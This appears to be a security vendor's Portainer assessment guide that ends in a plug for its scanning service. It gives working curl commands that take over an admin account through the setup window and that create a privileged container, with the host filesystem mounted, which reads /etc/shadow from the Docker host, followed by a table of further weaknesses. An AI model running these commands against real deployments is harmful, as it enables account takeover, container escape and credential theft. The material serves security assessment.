Portainer is one of the most widely deployed Docker and Kubernetes management UIs, used by tens of thousands of organizations to manage container infrastructure. Its security surface encompasses several critical areas: Portainer's initial admin setup must be completed within a 5-minute window after first launch — deployments that miss or ignore this create an accessible instance with a freely-chosen weak password or, in some versions, bypass the setup entirely; Portainer users with the "Operator" role can deploy containers with --privileged flag and host filesystem volume mounts without admin approval, providing a direct container escape path to root on the Docker host; Portainer API access tokens generated via the REST API have no expiry by default and persist indefinitely even after password changes; Portainer's agent mode uses TCP port 9001 with TLS that is commonly misconfigured or self-signed in ways that don't prevent MITM; and Portainer's environment variables for container deployments are stored in plaintext in the Portainer database and visible to all users with access to that endpoint. This guide covers systematic Portainer security assessment.
# Portainer default ports: 9000 (HTTP), 9443 (HTTPS), 9001 (agent)
# Portainer Business Edition may run on 8000 (tunnel)
# Check Portainer UI availability
curl -s -o /dev/null -w "%{http_code}" \
http://portainer.example.com:9000/api/system/status 2>/dev/null
# 200 = accessible, check the response for version info
# Get Portainer version (unauthenticated)
curl -s http://portainer.example.com:9000/api/system/status 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(f\"Portainer {d.get('Version','?')}\")" 2>/dev/null
# Test initial setup bypass (older Portainer versions)
curl -s -X POST \
http://portainer.example.com:9000/api/users/admin/init \
-H "Content-Type: application/json" \
-d '{"Username":"admin","Password":"attack3r123!"}' 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('Init successful' if 'jwt' in d else d.get('message','no jwt'))" 2>/dev/null
# If the 5-minute window has passed, this returns "admin user already initialized"
# If within the window, this sets an attacker-controlled password
# Users with Operator role or higher can deploy containers via the API
# A privileged container with host filesystem mount provides root on Docker host
# Step 1: Authenticate to Portainer API
TOKEN=$(curl -s -X POST \
http://portainer.example.com:9000/api/auth \
-H "Content-Type: application/json" \
-d '{"Username":"operator_user","Password":"known_password"}' 2>/dev/null | \
python3 -c "import json,sys; print(json.load(sys.stdin).get('jwt',''))" 2>/dev/null)
# Step 2: List available endpoints
ENDPOINT_ID=$(curl -s \
-H "Authorization: Bearer ${TOKEN}" \
http://portainer.example.com:9000/api/endpoints 2>/dev/null | \
python3 -c "import json,sys; endpoints=json.load(sys.stdin); print(endpoints[0]['Id'])" 2>/dev/null)
# Step 3: Deploy a privileged container with host filesystem access
curl -s -X POST \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
"http://portainer.example.com:9000/api/endpoints/${ENDPOINT_ID}/docker/containers/create" \
-d '{
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", "chroot /host cat /etc/shadow"],
"HostConfig": {
"Privileged": true,
"Binds": ["/:/host"],
"NetworkMode": "host"
}
}' 2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('Id','error: '+str(d.get('message',d))))" 2>/dev/null
# Spawns container that reads /etc/shadow from the Docker host filesystem
--privileged, --pid=host, or --net=host| Security Test | Method | Risk |
|---|---|---|
| Initial admin setup bypass (5-minute window) | POST /api/users/admin/init within 5 minutes of deployment — sets attacker-controlled password | Critical |
| Container escape via Operator privileged deployment | Deploy privileged container with /:/host bind mount — chroot to host and read /etc/shadow | Critical |
| Non-expiring API tokens persist after password change | Generate API token, change password — verify token still authenticates to API | High |
| Environment variables with secrets visible to all endpoint users | View container details in UI — env vars containing DB passwords, API keys visible to all with endpoint access | High |
| Portainer agent accepts connections without certificate verification | MITM agent TCP port 9001 — self-signed TLS allows interception of Docker API commands | High |
| Portainer database contains plaintext credentials | Access Portainer data volume — Docker registry credentials, SSH keys stored in bolt DB | High |
Ironimo tests Portainer deployments for initial admin setup bypass during the 5-minute initialization window, container escape via privileged container deployment with host filesystem mounts by Operator-role users, non-expiring API tokens that persist after password rotation, environment variable credential exposure to all endpoint users, Portainer agent TLS certificate validation weaknesses on port 9001, and Portainer database access exposing stored registry credentials and SSH keys.
Start free scan